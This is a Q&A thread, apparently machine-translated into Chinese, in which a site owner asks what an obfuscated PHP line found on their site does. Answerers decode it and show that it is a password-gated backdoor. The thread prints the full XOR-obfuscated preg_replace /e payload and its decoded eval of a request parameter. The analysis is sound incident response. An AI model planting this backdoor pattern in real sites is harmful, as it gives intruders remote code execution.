2012-01-11 62 views
3

我看到了一些我的网站这下面的代码:解码奇怪,可能是恶意的PHP代码

preg_replace("/lWkTSJcPlD6Ty3nInmjgvJ=vcL/e", "d=0nAheu6tYPSH36hrrw25iBpfJC3ZDVZB9aibJcJhscojWKPC8G7eHk=Rn3rqMGsJgPlpsvMaM20iBOl9UgbcGbutSaZehGoCWOsD=5dLucuvqUtA2Jc9lLr4mFXIMALiP4mPxFahhJSNeANUKqSv20ndDAmPBxyQpZfcf70BFQPjQc5aH"^"\x01KQ\x02iJ\x0c\x13\x1e\x1d\x2a\x236\x3c\x1bj4V\x2d\x25wd\x3c\x07\x232\x11dP2c\x0bsb\x1fGIJ\x27\x07\x7f\x40\x2f\x3fK5\x05\x0e\x01\x16\x7d\x14c\x3eo\x08Uu3\x1aRLpgT\x7fQh\x0e\x16KFuQxT\x00\x08sy\x0f\x08eS\x07\x05\x23R\x40\x12eSlW\x5bs\x0ed\x7eoUb\x1d\x5c\x17\x3f\x10\x17\x5d\x2a\x2dq\x2b\x13w\x1b6\x7c\x3f\x18\x29\x13\x1d\x2e\x28\x16\x2e\x2e\x28\x0cwiDyX=A\x0d\x1e\x2b\x3ff9\x1dj\x0a\x194\x02\x23wc\x3a\x3fc1\x05\x20\x1d\x1b\x165\x15\x7d\x3bJ\x5d\x17U\x3a\x2f\x25xCjCHCa", "lWkTSJcPlD6Ty3nInmjgvJ=vcL"); 
?> 

我试图解码像一个正常的eval,并通过一些分析并没有得到运气。任何人都知道如何解码并看到它的作用?

它使用上的preg_replace的/ E(EVAL)改性剂,但似乎并没有做任何事情//

+8

如果它应该是“你的网站”,但你没有放在那里,它的定义是恶意的。 – 2012-01-11 01:45:37

+2

@Karl - 可能是一个匿名的恩人,他决定用更好的东西来破解网站来代替糟糕的代码! – EboMike 2012-01-11 01:49:03

+0

@EboMike人们甚至可以这样做吗? – DGund 2012-01-11 01:50:42

回答

5

纵观第二部分,我注意到它的2串正在一起进行XOR运算:

php > $x="d=0nAheu6tYPSH36hrrw25iBpfJC3ZDVZB9aibJcJhscojWKPC8G7eHk=Rn3rqMGsJgPlpsvMaM20iBOl9UgbcGbutSaZehGoCWOsD=5dLucuvqUtA2Jc9lLr4mFXIMALiP4mPxFahhJSNeANUKqSv20ndDAmPBxyQpZfcf70BFQPjQc5aH";            
php > $y="\x01KQ\x02iJ\x0c\x13\x1e\x1d\x2a\x236\x3c\x1bj4V\x2d\x25wd\x3c\x07\x232\x11dP2c\x0bsb\x1fGIJ\x27\x07\x7f\x40\x2f\x3fK5\x05\x0e\x01\x16\x7d\x14c\x3eo\x08Uu3\x1aRLpgT\x7fQh\x0e\x16KFuQxT\x00\x08sy\x0f\x08eS\x07\x05\x23R\x40\x12eSlW\x5bs\x0ed\x7eoUb\x1d\x5c\x17\x3f\x10\x17\x5d\x2a\x2dq\x2b\x13w\x1b6\x7c\x3f\x18\x29\x13\x1d\x2e\x28\x16\x2e\x2e\x28\x0cwiDyX=A\x0d\x1e\x2b\x3ff9\x1dj\x0a\x194\x02\x23wc\x3a\x3fc1\x05\x20\x1d\x1b\x165\x15\x7d\x3bJ\x5d\x17U\x3a\x2f\x25xCjCHCa"; 
php > $z=$x^$y; 
php > print $z; 
eval("if(isset(\\$_REQUEST['ch']) && (md5(\\$_REQUEST['ch']) == '568bf80805f0a16c104efd05f626234a') && isset(\\$_REQUEST['php_code'])) { eval(\\$_REQUEST['php_code']); exit(); }") 
php > 

它在'ch'中查找“密码”,如果密码哈希匹配,则评估php_code参数中的有效内容。

我不知道该如何的preg_replace进入东西虽然

编辑

看来预浸取而代之的是更换的东西,将不会更换匹配,造成什么刚被解码运行。如果你运行它只是打印1.看,通过您的访问日志命中瓦特/那些网址参数考虑这个例子

<?php 
preg_replace("/X/e","eval('print 1;');",'X'); 
?> 

(CH和php_code)

+0

'preg_replace'就是在那里产生SO 。嗯,我的意思是,混淆正在发生的事情。 – deceze 2012-01-11 02:27:09

+0

相当令人印象深刻的建立后门的方法。 – Scuzzy 2012-01-11 02:46:54

3

刚取出e在正则表达式,这使得替换后的表达式为eval,替换后的表达式为echo。它安装了一个后门,允许任何人通过URL发送任何PHP代码。

参见http://codepad.viper-7.com/VUmML8